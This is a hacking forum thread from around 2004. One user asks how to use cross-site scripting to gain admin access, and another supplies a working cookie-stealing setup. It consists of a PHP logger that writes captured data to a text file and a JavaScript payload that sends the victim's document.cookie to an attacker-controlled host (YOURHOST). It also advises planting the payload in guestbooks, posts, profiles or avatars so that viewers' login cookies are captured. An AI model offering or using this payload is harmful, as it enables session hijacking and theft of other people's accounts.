I found what looks like a great exploit on bugtraq:

http://marc.theaimsgroup.com/?l=bugtraq&m=107945556112453&w=2

It talks about xss attacks, it gives you poc codes, however i'm not familar with what a constructed xss code looks like.

I got this info on xss:

An abbreviation of cross-site scripting. XSS is a security breach that takes advantage of dynamically generated Web pages. In an XSS attack, a Web application is sent with a script that activates when it is read by an unsuspecting user’s browser or by an application that has not protected itself against cross-site scripting. Because dynamic Web sites rely on user input, a malicious user can input malicious script into the page by hiding it within legitimate requests. Common exploitations include search engine boxes, online forums and public-accessed blogs. Once XSS has been launched, the attacker can change user settings, hijack accounts, poison cookies with malicious code, expose SSL connections, access restricted sites and even launch false advertisements. The simplest way to avoid XSS is to add code to a Web application that causes the dynamic input to ignore certain command tags.

Scripting tags that take advantage of XSS include <SCRIPT>, <OBJECT>, <APPLET>, <EMBED> and <FORM>. Common languages used for XSS include JavaScript, VBScript, HTML, Perl, C++, ActiveX and Flash.

Cross-site scripting also is referred to as malicious tagging and sometimes abbreviated as CSS, though CSS is more commonly used as an abbreviation for cascading style sheets.

Has anyone got experence with such issues?

Any example codes of how one would gain admin or something simlar?

[This message has been edited by Timby (edited 12-20-2004).]

no one?

You can try to collect cookie's to get the admin passw this way.

create a php script on some site with this code give it a name like script.php

<?

$fh = fopen("munch.txt",'a+');

fputs($fh, "$HTTP_REFERER : : : : : ");

fputs($file, "\n");

fclose($fh);



?>



then create on that site(your host still) an empty text file called "munch.txt"

And last use this code in your exploit (mod this line if needed)

<img src="javascript:void(window.location('http://YOURHOST/script.php?&HTTP_REFERER='+document.cookie))">

Cheers cvh, I was beginning to think this hacking board had turned into a q and a about sub7.

I'll give that a try, thanks again.

No problem just ask if you need to know something.

Ok I see what they are talking about. Thats cool but where do you put the script with the javascript? I have done it where you put it in an online log then when the admin checks the logs in the web browser the cookie is sent to you and it has been succesful. I was just wondering where the javascript would go?

^^ Sometimes you can enter html code when you post for exemple a message on a board, but all the popular boards are patchted (just try some guestbook somebody have programmed (I can give you a tut about guestbook terror if you want it), when you are beable to enter html code you can enter also javascript.

The javascript (in the above xss exemple) is now hidden as a image which isn't shown on the page. Just go to a site on which you are logged in or wich uses cookies (google.com,...) and enter into you browsers adressbar this simple line javascript:window.alert(document.cookie) and press enter, a popup will appear with your login data.

The javascript used for this xss hack passes this cookie info through too a phpscript wich simply writes it to a file.

You can find exploits which tells you where to enter the code used for xss hacks.

Thats why everybody tells you to deactivated javascript (and vbscript) and you will not be vulnerable to xss hacks which uses javascript( or vbscript).

^ Oh so what you'r saying is it only works on vBulletin with javascript enabled? Because in the link it said that youu enter the XXS in the url. I didn't know this was possible and was wondering if someone could explain it to me.

Oh and BTW... It's "javascript:alert(document.cookie)"

No it will work everywhere when there is insufficient checking of user supplied data.

The exploits tells you were webapplications don't check sufficient and are vulnerable to code injection (html = xss, php, perl, asp, cgi, ... = remote command execution, sql injection = if done right -> remote command execution, ...)

Javascript can't be disabled on the webserver it's clientside not serverside, this means the code is executed on your computer and not on the webserver, php, asp, perl ... is serverside and is executed on the webserver and not on your computer. and thats why you can enter javascript in your adressbar, this is still on your computer and not on the webserver.

Yah I don't know what you mean. Can you give an example of using the exploit in the address bar?

javascript:void(window.location('http://YOURHOST/script.php?&HTTP_REFERER='+document.cookie))

and the cookie you have on the site that you have open in your browser (google.com,hotmail.com, ..., will be written to http://YOURHOST/munch.txt.

Javascript is only client side!!! And the part in exploits that refers to editing an url by plcaing some javascript in, when you have have edited the url you have to press GO then will the javascript placed somewhere on the website (thread, avatar, profile, ..., ) and when somebody views that page (avatar, thread, profile) then the javascript will be executed (on the viewers pc (yours))and the cookie will be send with hopefully login data to the PHP script!!!

Here is a simple tut about xss http://www.h4ckerx.net/article.php?story=20020927075119197

(search for more, there is lots more about xss.)

Sweet I totally get it now thanks alot!

No problem, just ask if you need to know something. Try to learn more about exploits,

(what buffer overflows are and you will learn the real deal about hacking and why it isn't sub7. Here is a tut I always give its very basic but is sometimes handy for given it as a faq http://clarozamesa.atspace.org/tutorials/16.htm )